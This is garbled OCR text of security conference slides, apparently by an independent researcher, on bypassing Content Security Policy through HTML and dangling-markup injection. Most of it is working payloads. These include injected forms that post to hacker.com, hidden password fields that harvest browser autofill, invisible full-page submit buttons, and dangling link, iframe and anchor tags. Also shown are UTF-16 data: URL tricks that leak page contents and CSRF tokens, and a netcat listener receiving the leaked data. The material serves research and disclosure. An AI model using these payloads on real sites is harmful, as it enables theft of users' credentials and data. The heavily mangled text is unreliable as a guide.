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The Content Security Policy kills bugs

€ Refused to execute inline event handler csp.php:8
because it violates the following Content Security Policy
directive: "script-src 'none'". Either the ‘'unsafe-
inline' keyword, a hash ('sha256-..."'), or a nonce
(‘nonce-...') 1s required to enable inline execution.
Note that hashes do not apply to event handlers, style
attributes and javascript: navigations unless the
‘unsafe-hashes' keyword is present.



Sample study @ satfe 1.5%
300 of the most visited websites
44% use the Content Security Policy

98.5% of them can be bypassed

() Exploitable 98.5%



whoami1

started hacking 20 years ago

independent researcher for my
blog Project NzZT-48

speaker at:

Hackfest Canada

Hack Space Con Florida
BSides Seattle
DragondAR Colombia
BugCON Mexico City

and others. ..



A complete write-up 1s found at:

nzt-48.org



The security defense



${ content injection }

Secret data:

<div>
<span>
<span>
<span>

</div>

<div>
<span>
<span>
<span>

</div>

Name:

Email:
Phone:

Name:

Email:
Phone:

Zero-cool </span>
O0-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

Acid burn </span>
acid-burn@hackers.com </span>
+1 (337) 999-777-999 </span>



<textarea name="exfiltrate_data">

Secret data:

<div>
<span> Name:

<span> Email:
<span> Phone:

</div>

<div>
<span> Name:

<span> Email:
<span> Phone:

</div>

Zero-cool </span>
O0-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

Acid burn </span>
acid-burn@hackers.com </span>
+1 (337) 999-777-999 </span>



<textarea

Secret dat

<div>
<span>

<span>
<span>
</div>

<div>
<span>
<span>
<span>

</div>

> C G ?html_injection=<h1> hello </h1>

hello

Secret data:

Name: Zero-cool
Email: 0-cool@hackers.com
Phone: +1 (337) 31337-31337

Name: Acid burn
Email: acid-burn@hackers.com
Phone: +1 (337) 999-777-999

Save your contacts' information




« > C G ?html_injection=<h1> hello </h1>

<textarea>

<textarea hello

Secret dat Secret data:

Name: Zero-cool
. Email: 0-cool@hackers.com
<div> Phone: +1 (337) 31337-31337

<span>

Name: Acid burn
<span> Email: acid-burn@hackers.com

<span> Phone: +1 (337) 999-777-999
</div>

<div>
<span>
<span>
<span>

</div>

Save your contacts' information




<textarea

Secret dats

<div>
<span>
<span>
<span>

</div>

<div>
<span>
<span>
<span>

</div>

C G ?html_injection=<textarea name=exfiltrate_data>

<textarea>

<p><b><h4>
Secret data:
</p></b></h4>

<div>
<span> Name:
<span> Email:
<span> Phone:
</div>
<bxr /><brxr />
<div>
<span> Name:
<span> Email:
<span> Phone:
</div>

Save your contacts’

<img src="/imgs/coffee.png"

</body>
</html>

Zero-cool </span><br />
@-cool@hackers.com </span><br />
+1 (337) 31337-31337 </span><br />

Acid burn </span><br />
acid-burn@hackers.com </span><br />
+1 (337) 999-777-999 </span><br />

information

width="255px" height="255px" />




<textarea name="exfiltrate_data">

Secret data:

<div>
<span> Name:

<span> Email:
<span> Phone:

</div>

<div>
<span> Name:

<span> Email:
<span> Phone:

</div>

Zero-cool </span>
O0-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

Acid burn </span>
acid-burn@hackers.com </span>
+1 (337) 999-777-999 </span>



<form action="//hacker.com/exfiltrate data/">

<textarea name="exfiltrate_data">

Secret data:

<div>
<span> Name:

<span> Email:
<span> Phone:

</div>

<div>
<span> Name:

<span> Email:
<span> Phone:

</div>

Zero-cool </span>
O0-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

Acid burn </span>
acid-burn@hackers.com </span>
+1 (337) 999-777-999 </span>



<form action="//hacker.com/exfiltrate data/">

<textarea name="exfiltrate_data">

Secret data:

<div>
<span>
<span>
<span>

</div>

<div>
<span>
<span>
<span>

</div>

Name:

Email:
Phone:

Name:

Email:
Phone:

Submit.

Zero-cool </span>
O-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

Acid burn </span>
acid-burn@hackers.com </span>

+1

(337)

999-777-999 </span>



Submit button with style,
invisible,
as big as the document

<input type="submit"|style="opacity: 0; width: 100%; height: 100%;
position: absolute; top: 0; right: 0;"

value="Leak all the data!" />

Submit.



Products

Submit button with CSS

stack overflow

Report this ad

Sorted by:

2 Answers Highest score (default)

By clicking “Accept all cookies”, you agree Stack
Exchange can store cookies on your device and
disclose information in accordance with our
Cookie Policy.

Accept all cookies
Necessary cookies only

Customize settings




community.cloudflare.com

Checking if the site connection is secure

Verify you are human c;ouon.uas

Privacy + Tesms

community.cloudflare.com needs to review the security of your connection before
proceeding.
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Mitigation

CSP form-action

restricts to what location forms can be submitted

form-action 1s set to 'self'



Migssion

form-action is set to 'self'

bypass form-action and send the form to an external domain




The forgotten directive

Very often, form-action is not defined

Not using form-action @ Using form-action

82.6%




form injection



What 1f there's no sensitive data?

${ content injection }

<span> No data here ... </span>



What 1f there's no sensitive data?

${ content injection }

<span> No data here ... </span>

form injection



What 1f there's no sensitive data?

<form action="//hacker.com/exfiltrate data">

<input type="text" name="user" hidden />
<input type="password" name="pwd" hidden />

<span> No data here ... </span>

form injection



Save password?

What 1f there's no se

Username

pa SSWO rd oooooooooo

<form action="//hacker.com/e

<input type="text" name="user" hidden />
<input type="password" name="pwd" hidden />

<span> No data here ... </span>

form injection



& C | ® -example-hotel.com/home R

-

Rooms About Contact Book Now

Ltive data?

Ltrate_data">

1idden />
ft 1" hidden />

) Check In ) Check Out

</span>




< C ® example-hotel.com/home?html_injection=hello R

-

Rooms About Contact Book Now

Ltive data?

hello

Ltrate_data">

LR )
P ES

1idden />
i" hidden />

) Check In ) Check Out
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< C | ® example-hotel.com/home?html_injection=<form action=https://hacker.com><input typ... R

S

Rooms About  Contact Book Now [R .
Ltive data?
LErate data">

1idden />
i" hidden />

) Check In ) Check Out
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5 C | ® example-hotel.com/home?html_injection=<form action=https://hacker.com><input typ... R

-

Rooms About Contact Book Now

Ltive data?

admin

LErate data">

1idden />
i" hidden />

 Check In ) Check Out
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5 C | ® example-hotel.com/home?html_injection=<form action=https://hacker.com><input hid... @&

-

Rooms About Contact Book Now

Ltive data?

Ltrate_data">

\

LR )
P ES

1idden | />
i" |hidden | />

) Check In ) Check Out
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< c ® example-hotel.com/home?html_injection=<form action=https://hacker.com><input hid... R

-

Rooms About Contact Book Now

- Ltive data?

Ltrate_data">

/

- v

I

1idden | />
i" |hidden |/>

) Check In ) Check Out
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= Cc ® example-hotel.com/home?html_injection=<form action=https://hacker.com><input hid R :

-

Vtive data®?

LErate data">

1idden| />
t 1" |hidden | />

</span>

)11




C (| ® example-hotel.com/home?html_injection=<form action=https://hacker.com><input hid... R

LOorntacCu

Ltive data?

Ltrate_data">

.
»,
e
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The password manager cannot be disabled
by the application

autocomplete="off"

If the website has a login, the
application can be exploited.



([ Manage password | (IS En!

tart protecting your passwor

O= Google Password Manager

the simpler way

Chrome Android i0S

-
&« Settings ’1@9

Elisa Beckett

Save password?

Turn on Sync

STEP 1 STEP 2 STEP 3

Sign in and turn on sync Save passwords on websites Sign in on all your devices



‘ v & NewTab X o
:

c Q  Search Google or type a URL

!
Google

o =

Add shortcut

Web Store

Your Chrome

Sign in to get your passwords and more on all
your devices
Sign in to Chrome
@n Passwords and autofill
¢/ Customize profile
& Add Chrome profile
[B Open Guest profile
2s Manage Chrome profiles




Dangling Markup Injections

Resurrecting Dangling Markup Injections



${ content injection }

Secret data:

<div>
<span> Name: Zero-cool </span>
<span> Email: 0-cool@hackers.com </span>

<span> Phone: +1 (337) 31337-31337 </span>
</div>

<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>

<span> Phone: +1 (337) 999-777-999 </span>
</div>

Save your contacts' information



<link rel="stylesheet" href='//hacker.com/exfiltrate data/'>

Secret data:

<div>
<span> Name: Zero-cool </span>
<span> Email: 0-cool@hackers.com </span>

<span> Phone: +1 (337) 31337-31337 </span>
</div>

<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>

<span> Phone: +1 (337) 999-777-999 </span>
</div>

Save your contacts' information



<link rel="stylesheet" href='//hacker.com/exfiltrate dataill»

Secret data:

<div>
<span> Name: Zero-cool </span>
<span> Email: 0-cool@hackers.com </span>

<span> Phone: +1 (337) 31337-31337 </span>
</div>

<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>

<span> Phone: +1 (337) 999-777-999 </span>
</div>

Save your contacts' information



<link rel="stylesheet" href='//hacker.com/exfiltrate data/

Secret data:

<div>
<span> Name: Zero-cool </span>
<span> Email: 0-cool@hackers.com </span>

<span> Phone: +1 (337) 31337-31337 </span>
</div>

<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>

<span> Phone: +1 (337) 999-777-999 </span>
</div>

Save your contacts' information



Dangling Markup Injections

I 4+ Q @O | All HTML CSS JS XHR Fonts Images Media WS Other | [JDisa

Headers Cookies Regquest Response Timings

|Bide request details‘

P GET http://127.0.0.1:4444/leak_data?leaked data=<p><b><hd>Secret data:</p></b></h4> «
Email</td> <td>Phone</td> </tr> <tr> <td>Zero-cool</td> <td>0-coclfhackers.com</td>
<td>RAcid burn</td> <td>acid-burnBhackers.com</td> <td>E66-777-999</td> </tr></table>

Status 200 0K (2)

Version HTTP/1.1

Transferred 38 B (0 B size)

Referrer Policy strict-origin-when-cross-origin
Request Priority Eigh

DNS Resoclution System



Dangling Markup Injections

i< [0 CElements Console Performance Sources Network Memory Application  Security
® @ | Y Q | [Jrreservelog | [ Disable cache Nothrotting v+ & | £ L

Y Filter [J Invert | Morefilters ¥ Al | [FetcthHR Doc ) O FontJ [ LMedlaJ LMamfest) @ Wasm || Other |
lf 10ms 20 ms 30 ms 40 ms 50 ms 60 ms 70 ms

Name A Status Ty... | Initiator

] html-iniection.html 200 do... | Other

) leak?%3Cl--%20end%20--%3ESecret%20data:9620%20%20%2...09620%20%20%20%3C/ta... |(blocked:other) html-injection.html:42
|

URLs with < > %0A %0D are



Dangling Markup Injections

(] Deshabilitar la memoria caché  Sin limitacién
Filtro

Todo Fetch/XHR == Documento Fuente | IMG @ Multimedia | Manifiesto WS Wasm  Otros

10 ms 20 ms 2 40 ms 0 ms 60 ms 70 ms S0 ms
Ums 2 ms U ms Jms o ms Ums o ms

Encabezados

h4%3 *ecr'et%ZOcata: %3C/

20%3Ctd%3EName%3C/td%3




Bypass #1
UTF-16 character encoding attack

Bypassing Browsers' Defenses



Bypass #1 UTF-16 character set encoding attack

<iframe src="https://hacker.com/">

<iframe src="data:text/html; charset=utf-8, <hil> Hello </hi1>">



Bypass #1 UTF-16 character set encoding attack

<iframe src="https://hacker.com/">
<iframe src="data:text/html; charset=utf-8, <hil> Hello </hi1>">

data:text/html; <h1> Hello </hi1>

/ \ N

Media type Character encoding Content



Secret data:

Name: Zero-cool
Email: 0-cool@hackers.com
Phone: +1 (337) 31337-31337

Name: Acid burn
Fmail* acid-burni@backers com




Secret data:

Name: Zero-cool
Email: 0-cool@hackers.com
Phone: +1 (337) 31337-31337

Name: Acid burn
Fmail* acid-burni@backers com




Secret data:

Name: Zero-cool
Email: 0-cool@hackers.com
Phone: +1 (337) 31337-31337

Name: Acid burn
Fmail* acid-burni@backers com




G ?html_injection=<iframe src='data:text/html; charset=utf-8 , <p><h1> Hello </h1></p> ">

Secret data:

Name: Zero-cool
Email: 0-cool@hackers.com
Phone: +1 (337) 31337-31337

Name: Acid burn
Fmail* acid-burni@backers com



G ?html_injection=<iframe src='data:text/html; charset=utf-8 , <p><h1> Hello </h1></p> ">

Secret data:

Name: Zero-cool
Email: 0-cool@hackers.com
Phone: +1 (337) 31337-31337

Name: Acid burn
Fmail* acid-burni@backers com



G ?html_injection=<iframe src='data:text/html; charset=utf-8 , <p><h1> Hello </h1></p> >

Secret data:

Name: Zero-cool
Email: 0-cool@hackers.com
Phone: +1 (337) 31337-31337

Name: Acid burn
Fmail* acid-burni@backers com



G ?html_injection=<iframe src='data:text/html; charset=utf-8 , <p><h1> Hello </h1></p>

>

Hello

Secret data:

Name: Zero-cool
Email: 0-cool@hackers.com
Phone: +1 (337) 31337-31337

Name: Acid burn
Email: acid-burn@hackers.com
Phone: +1 (337) 999-777-999 5




G ?html_injection=<iframe src='data:text/html; charset=utf-8 , <p><h1> Hello </h1></p>

>

Hello

Secret data:

Name: Zero-cool
Email: 0-cool@hackers.com
Phone: +1 (337) 31337-31337

Name: Acid burn
Email: acid-burn@hackers.com
Phone: +1 (337) 999-777-999 5




C G ?html_injection=<iframe src='data:text/html; charset=utf-16, <p><h1> Hello </h1></p>

>
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C G ?html_injection=<iframe src='data:text/html; charset=utf-16, <p><h1> Hello </h1></p>

<style> *{background-image: url(

Encode it in UTF-16 so that it becomes valid code

B IREIRP  BHTTTTIRA
A ki TTESREMES &
VRERNE  TITTTTISEIAE
552?21@""7{ -Zlb;f-‘zt.n@ﬁl_bt-n@ﬁi
mEdasF HBitaiE  BEFEL
®RE T TS
FACEEHEERELNERE - < >

secret




Ilgsg - : nc — Konsole

File Edit View Bookmarks Plugins Settings Help

tr3wéspine-ripper:- § nc -1 -vv -p 4444

Listening on 0.0.0.0 4444

Connection received on localhost 36332

GET //SE3%BOSAFYE3%BI9%B0SE6S88%BCYE3SB0YBESE3%91%A8YEOSABYBESESS8CEBISE6SBDYASSE6S95%B2%E2%81 ¥ B4%E6%85%A4%E6R85%B4%EOSABYBASE2%BCYBCRE3SBI9RBOSE2%BCEBCRESS
BO9%A2%E2%BCYBCYE391SABYEOYABYBESE2%80%A0%E2%80%A0%E2%80%A0%E2%B80%A0%ETH90%BCYE6EBI%A1YE6%95%ACREOSABYBEYE2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%8
0%A0%E2%80%A0%E2%80%A0%ET7S90%BCIE3SBI%B2%E2%80%8A%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E3%B0
SA0RE6%91%B4%E4YBBYBESEGSBSSA1SE3YB1SASYETS90AFSE3SBISA4SE2%B0%8AYE2%80%A0RE2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0RE2%80%A0SE2%80%A0RE2%80%A0%E2%80%
RO%E2%80%R0%E3SBO%A0SEG6E91%B43E4%94%BESEG %85 ADSEGYBlSA9SE2%BCYBCYE6S 91 SB4%EOSABSBEYE2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A
0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%ETS90%BCYE3YBOSA4SEGSAL$90%E6SBISAFSESSBISASSETE90SAFESYBOSA4%E2%80%8AYE2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0
$E2%80%A0%E2%80%A0%E3%B0SA0SETS90%AFSE3SBISB2%E2%80%8AYE2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0SE3SB0SA0RET$89%B4SEORASSBERE2%80%A0%
E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%R0%E2%80%A0%E2%80%A0%E2%80%A0%ETE908BCYE3SBITA4SE6 Y95 9ARE6SBDYB2SE6E8CEADSEGSBDEAFSE
3%Bl1YACYET%90%AFSE3SBISA4%E2%80%BAE2%80%A0%E2%80%A0%E2%80%R0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E3YB0OSA0RESSI1%B4%ES
$80%BESE6SBCYADYEGYBDSAFSE4 %81 Y ACYEG6 S B5 S ABE6 S ADYA3SETE89%ASYE2%B9YB3SE6SBDYASYE3SBl1SADSETS90%AFSE3SBOSA4%E2%80%8A%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%
80%RA0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E3%B0SA0%E6S91%B4SE3%B8CYBERE3%8CYBlSE3%9CYB3RE3%8CYADSE3R8CEB1YE3S9CYBISE2RBCEBCYEGS91YB4SEQRA
8%BEYE2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%BCYBCEET¥89%B4SEOTABYBESE2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80
$RA0%E2%80%A0%E2%80%R0%ETS90%BCYE3YBI%B2%E2%80%8AYE2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E3%RB0%
AOZE6%91%B4%E4%84%BESE6RASTA3YE2481A4%ETS95%A2%E6YBIYB23E2%BCEBCSE6S91%B4%E0SABYBESE2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0RE2%80%A0%E2%80%A0SE2%80%A
0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%ET$90%BCYE3BISA4E6SBDEA1SE6E 91 A9 E6E B8 ADYET$89%B5E4%8 1S AEREG6 858 A8 E6RADSASRET$89%ASSE2%BISB3RE6SBDYASSE3EBLISAD
SET7%90%AFSE3YBI%A4%E2%B0%BA%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%R0%E2%80%A0%E2%80%A0%E2%B80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E3SB0SA0RE6EI1SB4SE3SIBIBES
E3%98%B6%E3%9CYADSE3%9CEB73E3%A4%ADRE3SA4%BISE24BCYBCREG6S91 B4 E0RABSBERE2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0SE2%80%A0%E2%BCYBCEE
T%89%B4%EOSABYBESE3SB0%BIETE 90 AFSE6E89%AlSE6S 95 ACREOSABYBESEO A4S 8ARET 4814958 E6R85%A4RE6S95YB4SETEA4SA0RET$95%AFSE2%81$B2%E6SBDYASSETE91SAERE6S8DRALSET
¥8D%B4 HTTP/1.1

Host: 127.0.0.1:4444

Connection: keep-alive

sec-ch-ua-platform: "Linux"

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 safari/537.36

sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A Brand";v="99"

sec-ch-ua-mobile: 20

Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: image

Accept-Enceding: gzip, deflate, br, zstd

Accept-Language: en-US,en;g=0.9,es5;g=0.8




%E3%BO%AFXE6%BIO%AIBET%95%B0O%E2%81%B4%E7%A5%B4%E6%95%B0%E2%8 8%BD






%E3
11100011
%E6
11100110
%E7
11100111
%E2
11100010
%E7
11100111
%E6
11100110
%E2
11100010

%BO
10110000
%B9
10111001
%95
10010101
%81
10000001
%A5
10100101
%95
10010101
%88
10001000

%E3%BO%AFXE6%BIO%AIBET%95%B0O%E2%81%B4%E7%A5%B4%E6%95%B0%E2%8 8%BD

%AF
10101111
%A9
10101001
%BO
10110000
%B4
10110100
%B4
10110100
%BO
10110000
%BD
10111101



%E3%BO%AFXE6%BIO%AIBET%95%B0O%E2%81%B4%E7%A5%B4%E6%95%B0%E2%8 8%BD

0011

0110

0111

0010

0111

0110

0010

%BO
10110000
%B9
10111001
%95
10010101
%81
10000001
%A5
10100101
%95
10010101
%88
10001000

%AF
10101111
%A9
10101001
%BO
10110000
%B4
10110100
%B4
10110100
%BO
10110000
%BD
10111101



0011

0110

0111

0010

0111

0110

0010

110000
%B9
111001
%95
010101
%81
000001
%A5
100101
%95
010101
%88
001000

101111
%A9
101001
%BO
110000
%B4
110100
%B4
110100
%BO
110000
%BD
111101



0011

0110

0111

0010

0111

0110

0010

110000
%B9
111001
%95
010101
%81
000001
%A5
100101
%95
010101
%88
001000

101111
%A9
101001
%BO
110000
%B4
110100
%B4
110100
%BO
110000
%BD
111101



0011

0110

0111

0010

0111

0110

0010

110000
%B9
111001
%95
010101
%81
000001
%A5
100101
%95
010101
%88
001000

101111
%A9
101001
%BO
110000
%B4
110100
%B4
110100
%BO
110000
%BD
111101



0011

0110

0111

0010

0111

0110

0010

110000
%B9
111001
%95
010101
%81
000001
%A5
100101
%95
010101
%88
001000

101111
%A9
101001
%BO
110000
%B4
110100
%B4
110100
%BO
110000
%BD
111101



%BO
00111100
%B9
01101110
%95
01110101
%81
00100000
%A5
01111001
%95
01100101
%88
00100010

00

01

01

01

01

01

00

101111
%A9
101001
%BO
110000
%B4
110100
%B4
110100
%BO
110000
%BD
111101



%E3%BO%AFXE6%BIO%AIBET%95%B0O%E2%81%B4%E7%A5%B4%E6%95%B0%E2%8 8%BD

%BO
00111100
%B9
01101110
%95
01110101
%81
00100000
%A5
01111001
%95
01100101
%88
00100010

%AF
00101111
%A9
01101001
%BO
01110000
%B4
01110100
%B4
01110100
%BO
01110000
%BD
00111101



00111100

01101110

01110101

00100000

01111001

01100101

00100010

00101111

01101001

01110000

01110100

01110100

01110000

00111101



00111100

01101110

01110101

00100000

01111001

01100101

00100010

00101111

01101001

01110000

01110100

01110100

01110000

00111101



%3cC
00111100
%6e
01101110
%75
01110101
%20
00100000
%79
01111001
%65
01100101
%20
00100010

%E3%BO%AFXE6%BIO%AIBET%95%B0O%E2%81%B4%E7%A5%B4%E6%95%B0%E2%8 8%BD

%2f
00101111
%69
01101001
%70
01110000
%74
01110100
%74
01110100
%70
01110000
%3d
00111101



%3c = <
00111100
%6e = n
01101110
%75 = u
01110101
%20 =
00100000
%79 = vy
01111001
%65 = e
01100101
%20 =
00100010

%E3%BO%AFXE6%BIO%AIBET%95%B0O%E2%81%B4%E7%A5%B4%E6%95%B0%E2%8 8%BD

%2f = /
00101111
%69 = 1
01101001
%70 = p
01110000
%74 = t
01110100
%74 = t
01110100
%70 = p
01110000
%3d = =
00111101



%E3%BO%AFXE6%BIO%AIBET%95%B0O%E2%81%B4%E7%A5%B4%E6%95%B0%E2%8 8%BD
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n i
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4 t



<input types=

UTF-16 is Little Endian
(read backwards)

4,




frame-src allowing data: URLs

Works only ~19.6% of the time

. Can use data: URLS Can't use data: URLS

80.4%




Bypass #2
Hacking with style

Works around %70.4 of the time



Bypass #2 UTF-16 character set encoding attack

<iframe src="data:text/html; charset=utf-8, <body> <hl> hello. </hl> </body>">

<link rel="stylesheet"
href="data:text/css; charset=utf-8, *{background: yellow;}" />



Bypass #2 UTF-16 character set encoding attack

<link rel="stylesheet"
href='data:text/css,

Secret data:

<div>
<span>
<span>
<span>

</div>

<div>
<span>
<span>
<span>

</div>

Save your contacts'

Name:

Email:
Phone:

Name:

Email:
Phone:

charset=utf-8 , *{background-image:

Zero-cool </span>
0-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

Acid burn </span>
acid-burn@hackers.com </span>
+1 (337) 999-777-999 </span>

information

url (https://hacker.com/exfiltrate_data/



Bypass #2 UTF-16 character set encoding attack

<link rel="stylesheet"
href='data:text/css,

Secret data:

<div>
<span> Name:
<span> Email:
<span> Phone:
</div>

<div>
<span> Name:
<span> Email:
<span> Phone:
</div>

Save your contacts'

charset=utf-8

Zero-cool </span>

* {background-image:

0-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

Acid burn </span>

acid-burn@hackers.com </span>
+1 (337) 999-777-999 </span>

information

url (https://hacker.com/exfiltrate_data/



Bypass #2 UTF-16 character set encoding attack

<link rel="stylesheet"
href='data:text/css,

Secret data:

<div>
<span> Name:
<span> Email:
<span> Phone:
</div>

<div>
<span> Name:
<span> Email:
<span> Phone:
</div>

Save your contacts'

charset=utf-16

Zero-cool </span>

* {background-image:

0-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

Acid burn </span>

acid-burn@hackers.com </span>
+1 (337) 999-777-999 </span>

information

url(https://hacker.com/exfiltrate_data/



Bypass #2 UTF-16 character set encoding attack

<link rel="stylesheet"
href='data:text/css,

Secret data:

<div>
<span> Name:
<span> Email:
<span> Phone:
</div>

<div>
<span> Name:
<span> Email:
<span> Phone:
</div>

Save your contacts'

charset=utf-16

Zero-cool </span>

* {background-image:

url(https://hacker.com/exfiltrate_data/

0-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

Acid burn </span>

acid-burn@hackers.com </span>
+1 (337) 999-777-999 </span>

information



Bypass #2

<link rel="stylesheet"
href='data:text/css,

Secret data:

<div>
<span> Name:
<span> Email:
<span> Phone:
</div>

<div>
<span> Name:
<span> Email:
<span> Phone:
</div>

Save your contacts'

UTF-16 character set encoding attack

charset=utf-16|,%2500*%2500{%2500b%2500a%2500c%2500k%25009%2500r%25000%2500u
%$2500n%2500d%2500-%25001%2500m%2500a%25009%2500e%2500:%2500
$2500u%2500r%25001%2500(%2500h%2500t%2500t%2500p%2500:%2500/
$2500/%2500h%2500a%2500c%2500k%2500.%2500n%2500e%2500t%2500/
$25001%2500e%2500a%2500k%2500/

Zero-cool </span>
0-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

Acid burn </span>
acid-burn@hackers.com </span>
+1 (337) 999-777-999 </span>

information



Bypass #2

<link rel="stylesheet"
href='data:text/css,

Secret data:

<div>
<span> Name:
<span> Email:
<span> Phone:
</div>

<div>
<span> Name:
<span> Email:
<span> Phone:
</div>

Save your contacts'

UTF-16 character set encoding attack

charset=utf-16|,%2500*%2500{%2500b%2500a%2500c%2500k%25009%2500r%25000%2500u
$2500n%2500d%2500-%25001%2500m%2500a%25009%2500e%2500:%2500
$2500u%2500r%25001%2500(%2500h%2500t%2500t%2500p%2500:%2500/
$2500/%2500h%2500a%2500c%2500k%2500.%2500n%2500e%2500t%2500/
$25001%2500e%2500a%2500k%2500/

Zero-cool </span>
0-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

e —> UF N0

acid-burn@hackers.com </span>
+1 (337) 999-777-999 </span>

information



stylesheets that can use data: URLs

. Can use data: URLS Can't use data: URLS

29.6%




Bypass #3 Target down

Works regardless of the configuration

default-src 'none'; form-action 'none';



Bypass #3 Target down

${ content injection }

<form>
<input name="CSRF token" value="723957544679576545" />

</form>



Bypass #3 Target down

<a
href='https://hacker.com/exfiltrate data/'>

<form>
<input name="CSRF token" value="723957544679576545" />

</form>



Bypass #3 Target down

<a
href='https://hacker.com/exfiltrate data/
<form>
<input name="CSRF_ token" value="723957544679576545" />

</form>



Bypass #3 Target down

<a
href='https://hacker.com/exfiltrate data/
<form>
<input name="CSRF token" value="723957544679576545" />
</form>

disabled 1link




Bypass #3 Target down

<a target=" blank"
href='https://hacker.com/exfiltrate data/

<form>

<input name="CSRF_ token" value="723957544679576545" />

</form>



Bypass #3 Target down

<a target=" blank"
href='https://hacker.com/exfiltrate data/

<form>

<input name="CSRF_ token" value="723957544679576545" />

</form>

style="opacity: 0; width: 100%; height: 100%;
position: absolute; top: 0; right: 0;"

Make it huge and invisible!



Bypass #4

Bypass URL request validation



Bypass #4

<iframe src="https://hacker.com/exfiltrate data/" name='

Secret data:

<div>
<span> Name: Zero-cool </span>
<span> Email: O0-cool@hackers.com </span>

<span> Phone: +1 (337) 31337-31337 </span>
</div>

<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>

<span> Phone: +1 (337) 999-777-999 </span>
</div>

Save your contacts' information



Bypass #4

<iframe src="https://hacker.com/exfiltrate data/" name='

Secret data:

<div> alert(window.name)
<span> Name: Zero-cool </span>
<span> Email: 0-cool@hackers.com </span>
<span> Phone: +1 (337) 31337-31337 </span>
</div>
<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>
<span> Phone: +1 (337) 999-777-999 </span>
</div>

Save your contacts' information



frame-src policies

<iframe src="https://hacker.com/exfiltrate data.html" name="’

@ cCan load any domain Only certain domains

32.5%




object-src policies

<object data="https://hacker.com/exfiltrate data/" name='

<embed src="https://hacker.com/exfiltrate data/" name='

@ cCan load any domain Only certain domains

37.2%




Bypass #4

Found by someone else:

https://issues.chromium.orqg/issues/40089058



https://issues.chromium.org/issues/40089058

form-action Content Security Policy bypass



form-action Content Security Policy bypass

<a href= > Click me </a>

GET / HTTP/1.1
Host: hacker.com
User-Agent: Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36



form-action Content Security Policy bypass

<img src='//hacker.com/img' referrerpolicy='unsafe-url' />

GET /img HTTP/1.1

Host: hacker.com

User-Agent: Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36



form-action Content Security Policy bypass

/vulnerable.aspx <h1> Hello </hil>



${ content_injection }

Secret data:

<div>
<span> Name: Zero-cool </span>
<span> Email: 0-cool@hackers.com </span>
<span> Phone: +1 (337) 31337-31337 </span>
</div>
<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>
<span> Phone: +1 (337) 999-777-999 </span>
</div>

- SREtES Sens. /vulnerable.aspx?xss=



<textarea name="exfiltrated_data">

Secret data:

<div>
<span>
<span>
<span>
</div>
<div>
<span>
<span>
<span>
</div>

INEWEE
Email:
Phone:

INEIEE
Email:
Phone:

No quote here.

Zero-cool </span>
0-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

Acid burn </span>
acid-burn@hackers.com </span>
+1 (337) 999-777-999 </span>

/vulnerable.aspx?xss=



<input type="submit" value="Submit button" style="invisible..." />
<textarea name="exfiltrated data">

Secret data:

<div>
<span> Name: Zero-cool </span>
<span> Email: 0-cool@hackers.com </span>
<span> Phone: +1 (337) 31337-31337 </span>
</div>
<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>
<span> Phone: +1 (337) 999-777-999 </span>
</div>

